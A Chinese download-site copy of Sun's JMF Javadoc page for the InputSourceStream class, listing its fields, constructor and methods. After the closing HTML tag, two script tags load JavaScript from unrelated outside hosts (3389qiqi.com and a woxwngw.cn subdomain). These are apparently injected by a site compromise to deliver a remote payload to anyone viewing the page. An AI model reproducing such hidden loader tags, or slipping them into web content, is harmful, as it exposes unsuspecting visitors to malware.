⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 inputsourcestream.html

📁 JMF原版英文说明文档
💻 HTML
📖 第 1 页 / 共 2 页
字号:
</TR></TABLE>&nbsp;<P><!-- ============ FIELD DETAIL =========== --><A NAME="field_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Field Detail</B></FONT></TD></TR></TABLE><A NAME="stream"><!-- --></A><H3>stream</H3><PRE>protected java.io.InputStream <B>stream</B></PRE><DL></DL><HR><A NAME="eosReached"><!-- --></A><H3>eosReached</H3><PRE>protected boolean <B>eosReached</B></PRE><DL></DL><!-- ========= CONSTRUCTOR DETAIL ======== --><A NAME="constructor_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Constructor Detail</B></FONT></TD></TR></TABLE><A NAME="InputSourceStream(java.io.InputStream, javax.media.protocol.ContentDescriptor)"><!-- --></A><H3>InputSourceStream</H3><PRE>public <B>InputSourceStream</B>(java.io.InputStream&nbsp;s,                         <A HREF="../../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A>&nbsp;type)</PRE><DL><DD>Construct an <CODE>InputSourceStream</CODE> from an input stream.<DD><DL><DT><B>Parameters:</B><DD><CODE>s</CODE> - The input stream to build the source stream from.<DD><CODE>type</CODE> - The content-type of the source stream.</DL></DD></DL><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getContentDescriptor()"><!-- --></A><H3>getContentDescriptor</H3><PRE>public <A HREF="../../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> <B>getContentDescriptor</B>()</PRE><DL><DD>Get the content type for this stream.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>content descriptor for the stream.</DL></DD></DL><HR><A NAME="getContentLength()"><!-- --></A><H3>getContentLength</H3><PRE>public long <B>getContentLength</B>()</PRE><DL><DD>Obtain the content length<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>content length for this stream.</DL></DD></DL><HR><A NAME="willReadBlock()"><!-- --></A><H3>willReadBlock</H3><PRE>public boolean <B>willReadBlock</B>()</PRE><DL><DD>Query if the next read will block.<DD><DL><DT><B>Specified by: </B><DD><A HREF="../../../javax/media/protocol/PullSourceStream.html#willReadBlock()">willReadBlock</A> in interface <A HREF="../../../javax/media/protocol/PullSourceStream.html">PullSourceStream</A></DL></DD><DD><DL><DT><B>Returns:</B><DD>true if a read will block.</DL></DD></DL><HR><A NAME="read(byte[], int, int)"><!-- --></A><H3>read</H3><PRE>public int <B>read</B>(byte[]&nbsp;buffer,                int&nbsp;offset,                int&nbsp;length)         throws java.io.IOException</PRE><DL><DD>Read a buffer of data.<DD><DL><DT><B>Specified by: </B><DD><A HREF="../../../javax/media/protocol/PullSourceStream.html#read(byte[], int, int)">read</A> in interface <A HREF="../../../javax/media/protocol/PullSourceStream.html">PullSourceStream</A></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>buffer</CODE> - The buffer to read data into.<DD><CODE>offset</CODE> - The offset into the buffer for reading.<DD><CODE>length</CODE> - The number of bytes to read.<DT><B>Returns:</B><DD>The number of bytes read or -1 indicating end-of-stream.</DL></DD></DL><HR><A NAME="close()"><!-- --></A><H3>close</H3><PRE>public void <B>close</B>()           throws java.io.IOException</PRE><DL><DD>Turn the stream off.<DD><DL></DL></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - Thrown if there is a problem closing the stream.</DL></DD></DL><HR><A NAME="endOfStream()"><!-- --></A><H3>endOfStream</H3><PRE>public boolean <B>endOfStream</B>()</PRE><DL><DD>Return if the end of stream has been reached.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>true if the end of the stream has been reached.</DL></DD></DL><HR><A NAME="getControls()"><!-- --></A><H3>getControls</H3><PRE>public java.lang.Object[] <B>getControls</B>()</PRE><DL><DD>Returns an zero length array because no controls are supported.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>a zero length <code>Object</code> array.</DL></DD></DL><HR><A NAME="getControl(java.lang.String)"><!-- --></A><H3>getControl</H3><PRE>public java.lang.Object <B>getControl</B>(java.lang.String&nbsp;controlName)</PRE><DL><DD>Returns <code>null</code> because no controls are implemented.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD><code>null</code>.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../../javax/media/protocol/FileTypeDescriptor.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;<A HREF="../../../javax/media/protocol/PullBufferDataSource.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="InputSourceStream.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1">  <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -